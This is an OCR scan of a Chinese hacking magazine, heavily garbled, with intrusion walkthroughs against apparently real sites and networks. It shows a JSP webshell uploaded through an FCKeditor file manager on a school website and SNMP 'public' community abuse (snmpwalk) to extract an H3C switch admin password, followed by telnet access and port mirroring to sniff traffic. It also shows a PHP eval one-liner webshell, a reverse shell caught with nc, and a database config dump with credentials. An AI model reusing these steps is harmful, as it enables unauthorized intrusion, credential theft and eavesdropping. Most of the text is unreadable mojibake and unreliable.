window. alert("000000!0000000000000" ) ;

window.close(); J
</scripty

ity Team
K 1-2-9

RN BB A B —A “ 7 RPN BERES . mIhiEs:, Wi 1-2-10:

;241 00000 uploadpich

-l FileMame
-5 FI:I I images
B-O - 4 =/ 100_0117.JPG
EEILE 100000 I 12%ipg
< 1 5 137 gif
=] uploadpic %‘ g!
L images |5=| 155.gif
s ) 200310111 34779631 3 sl
5 2003101 41047427 3966, gif
58 2003101410504797341 gif

B 1-2-10
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0x05

SRR LR, KPR e B R

RY FERSZ P 2N, {5 3389 mf LLER:

b CERT? e R asp, A aspx Hil php 1 jsp, LA LN, AAERATATS .
wscript.shell ZH/F3% 4, shell.application 4% A, A shell.application.1 ZHAFHHH 1AL
Heeeeen A % serv-u, ftp Al 25 5% /& Gene6 ftpd 3.10.0 build 2.1433 & Microsoft SQL Server 2000

8.00.2039.00; SP4. KINAREHATINS, FTCAIMNESRS: 7. A KFRER T

(358 TilE9nl: &5 _sharow

F11H HEEREDABTEFGH—IREE

e Rl
HH: EBWIE - FAckTeam
Mk http://team.fack.org

BRI RHK AR Wi, A BRI — T .
BFE, REEREHL T - RN HESEEEE S, KR jsp 19, &AHMHE S, X
A% HRTMrE XA H i, EEAAEE, Wi 4-2-1:

E]Ihtlp. flsiigi) - hwzax. szlg. edu. end schoolsweb/zhye

1% % % 1%

TEBIFT B E http://xxxx.szlg.edu.cn/, 3¢

hts Reserved. i FRE

;“:l] fE_E:. - .-'_'E:":-l' A P B s B

K 421 K 4-2-3
HeEzmmel—r=H, Wk 4-2-2:
1HEER | BET. kIR 0 1EEEER - 0/
| 1 Hyt HTTPURIRZ

B 4-2-2

2 HRBA KB AT sVAR ] e B 3l 3 TORE B A AT A FT LM A b7, Wi 4-2-3,

WER R, BREREE system/loginjsp, R HEE, WK 4-2-4:
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K 4-2-4
R T HAPBRAERS, admin BRI BRI i . A FH T REGFRLHEA,
AR —T, E 4-2-5:

§ RERR

EP# (1) rar
g 75.62MB 5o

i

B 4-2-5
THIEEAAPREIE] T 50KB, 70M FEL T 2EA/NE, RESHUSIE TIXAMGEE T, BIHEEA
XA 3k &R }EB‘%T SR IRA R HAD MG RS R, WK 4-2-6:

[fﬁfﬁ’fxlﬁlz’}é} [
St 5 - F PR

FEAMBshER BEHE ®i5:400-070-1020...
txyx. dgjy.net:70017 2013-4-26 - EEHRER

EiEtER AP E- AP ER

WS FID ISEETD RTXEFH FIEFHR QQ TTEEE MEXE A3 SR 40
0-068-2868 ...

@ 4-2-6
LB R FEGERT, ik 4-2-7:
W BB N AT, »
THE SEE SEY R TEO BB

QrRe- ©Q ¥ Pz [xwx [E-

HitE (D) |33 C: \Docunents and SettingsiAdninistrator\EEVEPH (1) \EISREE PHES v| B =3l

TEMYT RS ¥)

%ﬁ“”%‘&ﬁmﬁ“é [d] seumEnits
20120413, exe
?ﬂnottﬁcrdy ERERENATFE
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HEtE
o EPE®)
K 4-2-7

EE R, PR

%Tﬁﬁﬁwﬁ%ﬁ&ﬁﬁ' %Uﬁﬁﬁ"]?\@, BIIRERIN G s, A 4-2-8:

cort [=|[S5]6<]
L) - x
e -ll——lz u - A
2 2 s

2 .
= ¥ % 200 TN B R TE A I A s RS B

s FESET I T PISAE h = @—Fiﬁg&uéﬂﬂ

— FEORRAERA.

1. SCEHSEMKS . iI2EEISAIThaL,

2, FRINehEITALE B S8 P2 T e eI Th e,

3. SRENFEAST IR0 eaY . $R5SFT ARSI Y FnEr CIE2rL T A9ThEE. o
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151

181
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1. 7E%£Wﬁimﬁﬂﬁ TTERRER M,
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A, FHIKS: admin2000, H T — FEMHFRREEZ 9 1.
iff 52 BRAIAIK 5 23D 5t /& admin2000 admin2000.
BELE 5 EEFT A E TR —F, WK 4-2-9:

Y =TS
.‘ !& !ﬁ IT& E n IR % I! I E ERHIT AL ¢JE.\/J\*‘-7—"2013-2014—7—*“’E§%§:v oM

BE EIF, adminyyy? O L

$B | 88 S5

S B%%

ERD@
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|
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< A |
|
|

. D0EREEN  LOFBHER  S0EMANLMEE

S HP%

gi—% | | =% | % X | |2013-00-17

FKiEiEa

RiEA 3] fllEEmTE P

BrRDA
B 4-2-9

JESRBEL T, KEE, AAE HEruE. BEREFHER, EET shell.
NAZBA e B, BEERAS AR
St XA M, WK 4-2-10:

2=
o~ ohi
‘%'S . admin-yyxy
4 B
Bs
WER

HHER

3 [ +

*ff BIEE HEEfE

Rl il Bx

5t £l

K 4-2-10

& jsp —HA)iE, K 4-2-11:

55 : 00000008

At 1981-10-04

¥E D admin-yy A (g

e | gt VI EE L EIFEE | B
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wER
K 4-2-11

Ak AT Bk, WEUE, A& 4-2-12:
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' g5 8

@ 20130917091 246707155, jsp |

‘ 0. do7msg=YEBRIIK
iy EUEEHE PB4
#y TR -

AT http://, ' du, en 6080/ fekuploadfile/we BENMEE &
(VRL) bConotent/user-phone/20130917091246707755. jsp

o FAR
Rt 131 x 159 pixels

K 4-2-12
SETVERE, WK 4-2-13:

2 pceonsoebapy2\ EluplosdfiLewebConotent bser-phone)
1914511, 141 Ei( 0), 2f ) & aﬂ‘a]

Wl ) 2013091 702585642002, 20130917 145858
@l | 201309170253201834... 20130317 145527

wl

B] 2013091703012431170.. 20130917 15:01:24
Hek
= 5 peeons
5 3 webapp?
H ) fekuploadfile
= 7 webConotent
@ user=phone
K 4-2-13
Wl E, S bRl H bRk s, O RN X B R E N, R B IRAT A I A

http://xxxx.szlg.edu.cn/system/login.jsp, U1K 4-2-14:
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\
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! E ST EIR, FRERA

B 4-2-15
EREHAM TN T, HETIUNEWLEREAT, Wil jsp REASTEN —_—,
BHHAHARLT IME -, BHBIRIAARZET —ADW , REFEIRISAE 20 LR 5, ISP
KB system BUR TCIE 15wk T —AMIKS, anl&l 4-2-16:

XHE HEE EFW W IBREO #FHW
QFE - - 7| Omx o oxwx | @
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LIRSS s, AR DOl REAR FE AL E ISR AR, BT BB RIEEE EN
ﬁi’&’ %‘Fgﬁiﬁ%ga ﬂ%ﬂ, %ﬁﬁ%ﬂ%ﬁ fck gﬁiﬁ%&a ﬁu 4-2-17:

MiHE WEE FFEW WWE ITAO FBHO

QFRE - - 7| Pex x| @
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#%  frmupload. html 4 KB HTML 3rf% 2012-04-19 09:33
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ifj] browser
) Heodeey
9 EvE
& FL$RE ! e
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SR A2 A B A 2

http://xxxxx.szlg.edu.cn/common\fckeditor\editor\filemanager\browser\default\browser.html

I0F b4, mid EARZ JE 3T e B4R b, Unfe] 4-2-18:
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21,15.12.163 B (0), T (19) &l Rl AN Fab B
@l B 1TSS, MBI /00 288 AW
@0 AE G5
=) 0 s LOBER0REE 1600 AW
= webapp 0. 0RERBHS M0 R
510 feluploadfile o, MMERBAN 2R RW
B & relluctant W) 1RSI0, M0N0 0B R
as il ) ORI TS0, B 0RE2%6 MEIE AW
o WY 19R400RIFALITA4N IMANLND 17-R290 180798 (AR Y
K 4227

BINEE T - KK UG H BIXFP RG] DUXFEE kA7 K FKIB R4 5, AR AER
PE. RIAREBIXA ML 2GR A 280 b R .
(&3C58) TiiT4niE: &3¢ sharow

127 AMBZETES vian BER—Fh B

{54 - DM_
KH: EEWIE - FAckTeam
Mtk: http://team.fAck.org

s

BEAE H & K RIS BR[04 2 % AR (R BRR R 5 2% o 2B N B2 7E web HIEVEN,
AR B m B AIS B TTERE T TR % o PRI ) 2> D0 B A 2% 1 I 2% . b
WA vian.

1247 vlan

http://baike.baidu.com/history/id=9328829

WRHINE, ] 4-5-1:

2086 mi/3 122 T EHIE: http://t.qq.com/hackcto WAERHB: 48 15 H . gk



(k) —5 B SBE R ‘B 77 M3k : www.hackcto.com Z& L 45 : HACKCTO-201507-31

172.10. 0. 1/24
vlan200
Kali inux bﬁ ~
~
% 172.10.0. 1/21
172.10.0. 4 v1an200

x/
Tec503 webli s’ 3\3[ 6. ‘1()(‘)_‘ 4 x
anl
10. 0. 2. 1/24
v1an300

172.10.0.3
1 Tec503Domain Control

Webserver. tech03. com

AW,

Tec503 Datafi 558

5.5.6.4
Dataserver. tech03. com 10.0.2.3

Tec503. com

K 451
MAAZEAR LR
—HEI T = A RS F A — H3C s3610 = 2 A HAL i 2E 35 1) — & 2812 A (Kali Linux) o
ZEMRSIRET tec503 HIFEANM LSR5y o Bk F ALTEAT webserver #H[F ) vian200 1. 3F
H E# 2] webserver. TEZH#HL_EXISr T =4 vian # Tec503 (AR 1) B br A &) 20 5%
#% (dataserver.tec503.com) F1 web Aii55 %% (webservertec503.com) A dekdz 73 BRI 078 =4
vlan (vlan100, vlan200, vlan300) . vlan100 Fl vlan200 NEEAH EL V1] . {E A2 HR AT LAV ]
# vlan300.
ZHALIF A snmp F telnet, snmp — B H R I FA LI 4% telnet T H = EAZHHL.
WA H #7
FER T READ B MR R RTIR T, BflF] dataserver HI%#E .
ATHEAR B FE IR
FERT S BRI AR K tec503.com TELEI AL IR .
B E T Gl H bx ip(5.5.6.4), G 4-5-2:

B C:A\Windows\system32\cmd.exe - nslookup =

slzers~DM_>»nslookup
DME reguest timed out.
timeout was 2 seconds.
' UnKnown
iA.8.2.3

techB3.com
[UnKnown 1
tectB@3.com. 18.8.2.
techB3.com. 18.8.2.
techB3.com. SEPVEr
techB3.com. Server
_msdcs SEPVEr
admin—-5%9274h6cf ia.@.2.
dataserver
DomainDnsZones
ForestDnsZones
wvehserver

test.tecS@3 .com
admin—-5%274bb6cf . tec5B3.com
admin—-5%274bb6cf . tec5B3.com

L | I T -

Kl 4-5-2
JF H. webserver X /M. TEFEAIRN I HAFLE web Jsild. 7EIR1S webshell 2 J5 3 B3k

2B 87 Wi/3t 122 T B A http://t.qq.com/hackcto MARHEM: &4 15 H 4 Rl



(k) —5 B SBE R ‘B 77 M3k : www.hackcto.com Z& L 45 : HACKCTO-201507-31

IR PR . 7E webserver EATF FIM% ip 4 172.10.0.1, X% ping — F, WIE 4-5-3:

o CA\Windows\system32\cmd.exe -

icrosoft Windows [ . b.2.92081
{cr 2012 Microsoft Corporation.

Ssepss DM _>ping 172.18.8.1

Tf Ping 172.108.8.1 BF =R
oS ] =St )= TTL=255
=H

|

172.18.8.1 :‘ ' T TTL=255
172.18.8. - TTL=255

1 H |8 TTL=255

K 453
Al LA ping 1. telnet L F TR —& H3C %4, WK 4-5-4:

' root@bogon: ~ ‘root@Dbogon:~
~# telnet 172.10.0.1

EYER G200 G N s

onnected to 172.10.0.1.

scape character is '7]'

e o s o b b she b e e S o o o b b b b e b e e o o o b b b she b e e e o o oK oK b b b b e e o o oK K b b o o e e e K>
¢ Copy‘ight (c) 2004-2010 Hangzhou H3C Tech. Co., Ltd. ALl rights reser
¢ Witéout the owner's prior written consent,

* no ;:iecompiling or reverse-engineering shall be allowed.

< e e e e e e e e e S e e S e e e e e S b e e e e b o e e e e e o b o ok ke

K 4-5-4
224 123456, password, manager ZEfRj B 1A B, 45 ARSI,
R snmp 55 AR (X B 55 1122 48 snmp & BRI F B 19 R 457 5
— M AT AR (¥ public, FI AT S IERIACA private), 1K 4-5-5:

:~# snmpwalk -c public -v 2c 172.10.0.1
is0.3.6.1.2.1.1.1.0 = STRING: "H3C Comware Platform Software, Software V
ersion 5.20, Release 530SP01
3C S3610-28TP
opyright(c) 2004-2010 Hangzhou H3C Tech. Co., Ltd. All rights reserved.

OID: iso0.3.6.1.4.1.25506.1.16
Timeticks: (7915536) 21:59:15.36
STRING: "Hangzhou H3C Technoleogies Co., Ltd."
STRING: "H3C™
STRING: "Hangzhou, China"
INTEGER: 78
INTEGER: 34

= INTEGER:
INTEGER:
INTEGER:
INTEGER:
INTEGER:
INTEGER:

sl SEgaleaZ sl
S D R
Sl sk sl
el eima a2l
s lid SEglea bl
Sehnlero b ol
Sl sk il
S P
s tiod Sl L
S=ffisraab il
SR sreaabnadal
Al sl Al
et SigllmZae ]

NNNNNNENOOSWN
RS o NoNoNoNoRoN o]

NNNNNNNRRERRER
EEEEEEC

[ T

Kl 4-5-5

3
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RIFFEALEF public BRINI AT L HAZ R 5
k22 A8 ] snmp FRHLE] H3C B4 %1, W1 4-5-6:

~# snmpwalk -c public -v 2c 172.10.0.1 1.3.

2.12.1.1.1.1.1 = STRING: "admin"

K 456
B BRI B EE RS ” admin” (& 1 36 FRAT T2 MUSA R admin (1) 2 f5 8 7T DUSE X AN %
5 telnet [t B A He b LA
WK 4-5-7, FFEIIEEAF] system-view RE .
~# telnet 172.10.0.1
EyingeA72 s l0E gl

onnected to 172.10.0.1.
scape character is ']

e 4 > 0 0 0 0 0 0 0 0 20 240 20 0 2 2 0 0 0 0 0 0 20 0 0 0 0 20 40 0 40 0 0 0 0 3 0 30 0 0 0 0 20 20 240 0 240 0 0 2 B o 0 o 0 0 o ¢ o e e e e e o o o o k|
i3

¥ Copyright (c) 2004-2010 Hangzhou H3C Tech. Co., Ltd. ALl rights reserv
*

¥ Without the owner's prior written consent,
*

¥ no decompiling or reverse-engineering shall be allowed.
*

e 0 0 0 3 4 o 2 0 0 0 0 0 o 0 0 0 0 0 3 S o 0 0 0 ¢ e S S 0 20 0 30 ¢ e o R o 0 0 30 3 e o o o e e 3¢ e o o o o e e e e o o o ok ok ok

ogin authentication

Password:

H3C>sys

System View: return to User View with Ctrl+Z.
[H3C]

K 457
THA T RBELRE
FERE L telnet 6t 252 B bl FRAME v] I aa R S AS LI & MBS . (vlan K147,
superiﬁﬁ%, HHRGEE . Ip RIS HHIXEEER T super 205 LLAMEAES AT LU

I snmp [ — AN AT B IR ELR

T HAT AR Ak
WA AT E 5 P AR TR, I BT DL 303 cisco A% O FC B U (3 B S 745
HAE).
1% FL R R B ) Ui Ul = S A ML A B E I DIRE, vian R4 DL R i AR AR S 14 1 A2
AEHML G T, AN T AL RS
Uiy VAR U2 H8 K A2 WL E s 1R BB B A5 30 o5 — o I HOR, HF HonT DU BB R IR
B H R £
X — AR N AE I %, WE ST . RN DB R R B R I = g R iR A
X IR A2 J8 et iy VB R R IR EL B dataserver K1 FNEE 2 I A4 £ o
BAVR T IR GBI E S, Wil 4-5-8:
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H3C]display current-configuration

version 5.20, Release 5309P01

'sysname H3C

!super password level 3 cipher %=MD"45J[;[];1(U2@P.SQ!!
!super authentication-mode scheme local

!domain default enable system

!dns resolve

dns server 10.0.1.78
dns domain com

K 4-5-8
TEIX HIRATAT LLE 2 super Z0Y X ANBEADIELL ciper IN%E . N 24 5 AT LLE
http://pan.baidu.com/s/1iQ6Kq XN HIA fif 2% .
T REFE ip-pool HIKI7Y
B & 11T 3 nslookup YR 245 B AT AHE—B3E I (13E 0T H bk, a0 4-5-9:

dhcp server ip-pool vlanl
network 10.0.1.0 mask 255.255.255.0
gateway-list 10.0.1.76

#

dhcp server ip-pool vlianlG@
network 5.5.6.0 mask 255.255.255.0
gateway-list 5.5.6.1
dns-list 10.0.2.3

#

dhcp server ip-pool vlan200
network 172.10.0.0 mask 255.255.255.0
gateway-list 172.10.0.1
dns-list 10.0.2.3

#

dhcp server ip-pool vlan300
network 10.0.2.0 mask 255.255 ,2585767]
gateway-list 10.0.2.1 ' ‘
dns-list 10.0.2.3

#

K 459
s A LR ILIRATILE AL T vian200 H, HFrAL T vian100, 4% 7E 300,
I AFRA VG L EF A IEAE A A A8 gk 0 2 7 WA vian 1, 4011 4-5-10:
interface Ethernetl/0/3
port link-mode bridge

port access vlian 100
#

interface Ethernevf70/4 U
port link-mode biidgss)
port access vlian 200 @

#

K 4-5-10
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X B A LLEE| Ethernet 1/0/3 7F vlan100 H.1fj Ethernet 1/0/4 1F vlan200 1, 1952 IR A1 &b
H) vlan.

THRERE DR Z JERATTHR @RS — DA B4 1, a1k 4-5-11:

H3C]display mirroring-group a

[H3C]display mirroring-group all

[H3CImir

[H3C]Imirroring-group ?
INTEGER<1-2> Mirroring group number

[H3C]Imirroring-group 1 ?
local Local mirroring group
mirroring-port Specify mirroring port
monitor-port Specify monitor port
reflector-port Specify reflector port
remote-destination Remote destination mirroring group
remote-probe Specify remote probe yFan/ '
remote-source Remote source mirrf{ring g réQpks

H3C]mirroring-group 1 1o ‘ idgcror

H3CImirroring-group 1 local pas - L '

E  4-5-11
RIEHER BRI S, 8] 4-5-12:
[H3C]mirroring-group 1 ?
local Local mirroring group
mirroring-port Specify mirroring port
monitor-port Specify monitor port
reflector-port Specify reflector port
remote-destination Remote destination mirroring group
remote-probe Specify remote probe vlan
remote-source Remote source mirrering group
H3Clmirroring-group 1 mi
H3Clmirroring-group 1 mirroring-port E
[H3CImirroring-group 1 mirroring-port Ethernet 1/06/3 ?
Ethernet Ethernet interface
GigabitEthernet GigabitEthernet interface
both Monitor the inbound and outbound packets
inbound Monitor the inbound packets
outbound Monitor the outbound packets
to Range of interfaces
H3CImirroring-group 1 mirroring-port Ethernet l/(/3 bo

H3CImirroring-group 1 mirroring-port Ethernet \l/G/3: both '
[H3C]

& 4-5-12
B e s 1S, WK 4-5-13:
H3CImirroring-group 1 moni
H3C]Imdir ( UF' 1 monitor-port e

H3C]mirroring 1 monitor-port Ethernet 1/0/4

Kl 4-5-13
SR I B it BB A 14 1 webserver. LS00 B b8 (.
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AR IcMP FiE B R R K, i 4-5-14:

rdesktop - 172.10.0.3

’I-;Captu:ring from Intel (B) FROS1000 BT Hetwork Conmection: ‘Dewice\NFF_{F8B25B58-93B0-43C1

Fl= Edit Wiew Go Capture Analyze Statistics Telephony  Tools  Internal  Help

b " =

= e @l = o Ae s F L ||BEEQQQ
Filter: |ip. addr==5.5.6.4 and icmp j Expressiomn. .. Clear Appl

Ho. |Time |Source |Destination |Protocol |Length |Info
LW LT S LS S R R RFRLE e (LA LS e LT [ i Iy g 'LPIIH.
102659 175,.480052 5.5.6.1 5.5.6.4 ICMP 88 Echo (pin
10330 176.495464 5.5.6.4 5.5.46.1 ICMP 88 Echo (pin
10551 176.497274 5.5.6.1 5.5.6.4 ICMP 88 Echo {pin
10346 177.5112686 5.5.6.4 5.5.68.1 ICmMpP 88 Echo (pin
! 10347 177.512173 5.5.6.1 5.5.6.4 ICmMpP 88 Echo (pin
10355 178, 526817 5.5.6.4 5.5.68.1 ICmMpP 88 Echo {pin
10356 178.5277205.5.6.1 5.5.6.4 ICMpP 88 Echo (pin
10375 179, 542442 5.5.6.4 5.5.6.1 RiCMP 88 Echo (pin
10376 179, 543322 5.5.6.1 5.5.6.4 CMpP 88 Echo (pin
10385 180, 558077 5.5.6.4 5.5.6.1 ICMp 88 Echo (pin
10386 180, 558972 5.5.6.1 5.5.6.4 ICMp 88 Echo (pin
10357 181.575370L 5.5.6.4 5.5.6.1 ICMp 88 Echo (pin
ASTET A0 CFCSTR 00 S A Cc £ < d TRAn L R e

K 4-5-14

iﬁz HTTP éﬂE@E’JT =K, WK 4-5-15:
N . ) _
rdesktop - 172.10.0.3

1ﬁﬂapturing from Intel (E) FEDS10D0 BT FNetwork Connection: ‘Device\NPF_{FEB25B58-93E0-43C1-8

File Edit W“iew Go Capture Andlyze Statistics Telephony Tools  Internals  Help

& e P ERREE Qe T L BE QAQq
Filter: |ip. addr==5.5. 6. 4 and http -:J Expression. .. Clear Apply
Ho. |Time |Source |Destination |[Protocol |Length |Info
14400 228, 180031 5.5.6.4 172.10.0.3 HTTP 241 GET /S HTTR/
14500 228, 180034 . 5 B4 172.10.0.3 HTTP 241 [TCP Retran

361 HTTR/L.1 2

361 [TCP Retrar

= LY Yy LE eI T E LLILT.0 TS T, 291 LI}"LI:‘ LdPLUI B L L0 TS T
= Ethernet II Sro: H3cTechn c0:el:45 (38:22:d6:c0:21:457, Dst: vmware_hS:dd:
# Internet Protocol version 4, src: 5.5.6.4 (5.5.6.40, Dst: 172.10.0.3 (172.1
H Transmission Control Protocol, Src Port: 43416 (434163, Dst Port: http (80

o040
ooso
o060
o070
0080

faTalsTal ! v
ETCTIET 1T2C I, =T L. Mol N_Lt0.eL.94 1 (a0, EELe ey vy~ e gy w e L S E"U?‘Uﬁ_ET

Internet Protocol version 4, src: 5.5.6.4 (5.5.6.40,0080 0 172.20.0.3 (17@_‘;10 0
Transmission Control Protocal, src Port: 43416 (43416)&‘ DSTIFE http (ﬂlﬂprls
HunertaxT Transter Pratncnl

=

]

4-5-15
HA RSB R antt, BRI RS T .
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J5id
% FH A A M LAE V5 57 R RO ER & DL, 9 H i TR B R AL B 250 R M & LB &,
55 1A S50 B A 22 (1) 0] R T L EH R S8 3 A LAE 9 2% v i A R 7 Bt B DDA B 1 L HE — IRB
375 o A5 I
5%
H3C DAK I 22 e i1 IC B 45 7
wireshark JNELSE G HTdETF 58 iR
WooYun: 1 E 23] H3C Bj KIEMIJREFI A snmp TR 573 %565 1% D 6 sk s £
(&3058) JifEmiH: &R sharow

#1335 Discuzx3 HiFTHmG

YEH: WENERRIE
HH: EBWIE - FackTeam
Mk:  http://team.fack.org/

FABRM T T, WIFASRIRE, 0 URNIFRR — (R, BHEAE 7T, SHkyE
ARG, o, KA.

WP R IR T AR, ARIRA MM, D A i i e 83 B R B B By, ik
BT T T RERA T

Ox1 A xS

A T, RSS2 linux, Tl AR Discuz X3 , iX A &) cms, & /N—%A 0day,
TR exp, B T —F x3 A KINE, B T, BEZ T REWEEIE TR S5, ikl 1-2-1:

b C1gere :| www. B bin. com | & BRLS | F=HE
Fan | CREE. | O zmes [(FEm
5 1 |O BerEi.
154 : ST, 7
=R o 198 97, =" = [2] [y
http://www. timmiamebi B8] 2
e — i 20:°-Ln“ I +-mm$s.%;aa

1-2-1
GFEIEAT — Ak, ARAEMNT T T, Bﬁ%fﬁ%FEbﬂT’l\ robots.txt, HI1& 1-2-2:

User—agent: *

Disallow: Aplus/ad_js.php
Disallow: /plus/advancedsearch.php
Disallow: /plus/car.php

Disallow: /plus/carbuyaction.php
Disallow: /plus/shops_buyaction.php
Disallow: Aplus/erraddsawve.php
Disallow: /plus/posttocar.php
Disallow: /plus/disdls.php
Disallow: /plus/feedback_js.php
Disallow: Aplus/mytag_js.php
Disallow: /plus/rss.php

Disallow: /plus/search. php
Disallow: Aplus/recommend.php
Disallow: /plus/stow.php

Disallow; /pﬁus/rounf php

Disallo Fanclude \B
Disallows: emplets -—_
1;) ' Bam

K 1-2-2
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— RN T, AL, FE NRAS, www.xxx.com/data/admin/ver.txt, fix A< 4& 20121030,
B, BEFEEENE, wwwxxx.com/dede, HIE 1-2-3:

BEEER SEEFTE T

A\ ERERERRAEHP RSB Rdede , BUREFIPBIEERIARNEST, FeERS

Arg. | ,
= B | 32 A SoiEX
www.souho.net
AR ROB| &T&?
N——— 1Rt Rwww.souho.neti24HRE3
T B
Powered by DedeCHSYST_GBE_SBI © ‘““"125‘”“’788“1

K 1-2-3
JRBWAE, WAL, NAZBMERE . 4 2RI SCE B A R — 0L GRS T
H, &#FT7, LD, #EE7T, BEHENGEE shell, BSR4 B 1F 51 S0k
%fﬁ%&’ iﬁT p|US H%: ﬂ?%ﬁ)& Ej:%ﬁ/l\ 905ecphp, %%T’ ﬁﬂ 1-2-4.

o HiEgE il

B o BRERES T#ER Fiius

§ . EBER AT 90sec. php

%' o FitEEs <7php eval (§_POST [guige]):?>

& b eEE ! ’

. vEEEE Bhebiait.” 4 (S

n e rity Team
Ty oo ¢

K 1-2-4

B ERT) COBEXHEFR T, BHR, RARESH, SHERE, 753, v, m
1-2-5:

m ] ww. e . < om +

() fhomefwwwroot/

198.199. 9Teelmle  HE{ESSRR . (BEBIREE?
= e f
=l home

rity Team
B 1-2-5

AL H, ROk, GFE, RIS AT T, PUTEAE NN, K 1-2-6:
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K 1-2-6
oy — 5 Sk B e PR, S T A INE, KA
(EFPNEF XA SR, KEZ5K)
0x2 fRj Bift T
g AR, HEEREE L M Fu T, & oday B4 7r. A AEEL, (FREHIFREZ
B RER LS admin BUE 123456 WD, 7E 3G B TS —WiELE, BB T E
R, NAMRE, BHEREKS . BANE 7 —l, EREEREA ip RAesik 5 &R
PR, ARk, FFAMRERGREL. TR 7B, NRATI . At T, 4R T
— NE R P AN, IXFEEBE, google KK T
PS:IMFE LA AR A 45 JIHIAL T EEW] . A BEAGM FE #R I B, I E R R USHE—F
http://lucky.anquanbao.com/, Ik 1-2-7:

TEttRERER

(\

¥R . ERAHK s=i
T . TR ArRg: ¢

K 1-2-7
HARMIX, RBiiZf csdn T, KENSIR? BLIERIE, GF7E 24 R R i K B A Hh AR AT T
EANE, AKHFARER T, ik 1-2-8:

I
| % t b 0 198295, 19 0@ 163 Joom

= .‘\
g )
‘xt“ﬁ degmunit &t“@gmall.com? 2am

B 1-2-8
RIEZELERIZRAT —F, ¥, WANELEAX, SO BFMHAEHAT.
GFuE, R, RERL T .
A A AR, HVER RIS T AR, A AR, &l 1-2-9:
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Gmail - v C
o WA
1
Wl (1) o
Bingk
s Z
3 Wl
=i
- LGN
RIS S
A AR
= I A
BFEEE S
==
A
M H RIS &
;?mAﬁEﬁuq: 5 .
TR
AFRDET SRWX .
Wl A
A
HREEE A
Wl A
Ul A
(- el

&

BEEE -

opin

1-2-9

KRBT H - googlel &ZREIIM: www.google
(FBEH)

seoR(d) - 515

WIRRMESIZ B SR SR - EHTEMER, 8

R7BE LSy HUM - IFOTER R, iHEER.

WB8seo - MR, EHEELE.

R7B2seoTT2UM - EATERHE, BHH{EhE.

WB8seo - WAFEMFH, BHHELR.

R7B8seo - MIMTERS 4, BRELE.

WBEseo - IMTERHEH. #HELIE.

R/B8seo, BPAEIM - WATERHGFA, BhEERE

WB8seo - MMM, BHHEEE.

WEESEME S - EITERSR, BhaHEhE.

B2 REEEE

7 farerihik SR

F/BEseo - EH7

GFANT, REHIT—EAEK seo WLAE, EER| 7RI .
RACK =AW A, 1982 . AMT, B IS EE A A, ARz 1k e w5

THREML o

SEoR A vl f B BRI A BE TR & i Th g, FOR AR, Wi 1-2-10:

=203
eI

*Email: Ixtmgmail.com

B

| xtom—0

i . ghaA. SEIPEF. BERSREN

&

1-2-10
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ERMSA R B, A XK EAR T 25 7 o 2R W Hat 1 HAl LA -, #3485 8.
0x3 AIEEAEHA

ANSEREA B BB LN TFBe, TR AFIER, FIREESuifE 7RSS CRE R
T4, WWAEE AL T, REKIWKGTEAR T UPITES, W 1-2-11:

198.199.9...... - Linux - Alexa

ThEH BEEH luname -2 AR~ ¥
HERD Linug xt‘ 2.6.18-308. 1. 1,215 #1 SIP Wed Mar 7 04:17:30 EST 2012 1686 1686 1386 GNU/Linux
#EED
HE S

Ko1-2-11

W% 2.6.18-308. 1. 1.el5, H 1 —F, A 2.6. 18 [ exp, Wik, S FEH % HAhIpik
KYHR, WE 1-2-12:

cA|C: \WIHDO¥S\systen32\cnd. exe - F:\360Downloadstnc. exe -1 -p 12345

C:\Documents and SettingsMdministrator>F:\36BDounloads\nc.exe -1 —p 12345

Linux > 2.6.18-308.1.1.e15 #1 SMP Yed Mar 7 04:17:38 EST 2012 i686 i686 i38
6 GNU/Linux

wid=501Cuww) gid=501Cuwuw) groups=501 Cuww)

A

B 1-2-12
BT FHBR, ik 1-2-13:
wid=501 (uwuww) gid=501C(uwuw) groups=501 (uuwd

B 1-2-13
ARG F M 7N EH R4, AEF—F, SRCiBaiBmEx, wE 1-2-14:
dir /home/uwuroot
Wy ELoiniihe.com  www. st L7 .com W) “h.com

Ti.com  www.o' T ug.net WL n.com

K 1-2-14
Jedy, Xt atEil, BAiRKIAREE Bk, NINESETIA &4 png ?
FIIMEHE AR B, TR K IBRAA R —FE 1), Ba—kE, — Ak,
gk RIR D B AT —FE T LAF H o, BAE KRG e L, AR REIZEETT,
TR T ORI RAE B R D
METES TR EREE 72 2 2 RAAT, K, F TR 1, cat T Discuz X3 Fi &
(4R H 5% /config/config_global.php), W& 1-2-15:

2097 vi/3t 122 TU EAMOH: http://t.qq.com/hackcto HARHE: 44 15 H Ak Rtk



(Z25%) — (5 BL AT B 77 M35k : www.hacketo.com Z% E 45 : HACKCTO-201507-31

198.199.¢€ ) - Linux - Alexa

e W EH |cat /home/wwwroot/www . I com/config/config_global.php R EE- v
L EH#D <7phe 4
SET
HEFS |$_config = array():
HEBHR v CONFIG DB Ve
a {§_config['db’]1["1"] [’ dbhost’] = localhost
RS {$_config[db’ 1 [* 1’1 [ dbuser’] = ’ b’
o $_config["db’ 101”1 ["dbpw’ ] = QSWRQA
FHlEE | [$_config[db’1["1°1[ dbcharset’] = "gbk’;
S [$_config["ab’ ][’ 1’1 [’ pconnect’] = "0°;
HiTaH 2 $_config[’db’1[" 1”1 dbname’] = thehrb
1 $_config[’db’ 101710 tablepre 1 = "pre_
AfrEn [$_config[*db’ ][ common’ ] [ slave except table’ 1=
§ 1 [$_config["db ][ slave’] =
im0 [
1 Vi CONFIG MEMORY P
1M ($_config [ memory’ ][ prefix’] = ~AhYFmD_ ;
1 |$_config [’memory’] [’ eaccelerator’] = 1;
Linuxd24R. | |$_config [’ memory 1[0 xcache’™] = 1;
1 {$_config[’ memory 10 memcache’ 1 [ server’] = 77 ;
ServUiRR $_config[’ memory 1" memcache’ ] ["port’] = 11211: -
7 |$_config[’ memory 10 memcache’ ][ pconnect =0l | i
MYSQLIZAR {§_config [’ memory’ ] ["memcache’ ] ["timeout’] = 1; | \E.]
{$_config [ memory’ ] ['apc’] = 1: oy z,\), !
MYSQLEIT [§_config['memory’ ] [’ redis’ ][’ server’] = 7 y A | Bellf

K 1-2-15
ERHEREEEE R, EﬁDﬁL?UIi&E%ﬁT}?Hﬁ ARG MG TAE T, B0k SR B , ARYE
Pl R L PR R ) B AR 4 e X B AR, FH 2 rm 2 ARG 3R B 7 3R (pre_ucenter_members)
HEHARKS . 4, KPR hash i1 saIt, AT mds?
WELRIREE 7, B4 £, #4118 md5(md5(123456).salt) (15 s0HE — > md5s, 2R 58 update
SEIAM, B DL 123456 KPR RIBRE IR 7. FHE T, & 7 HEERE
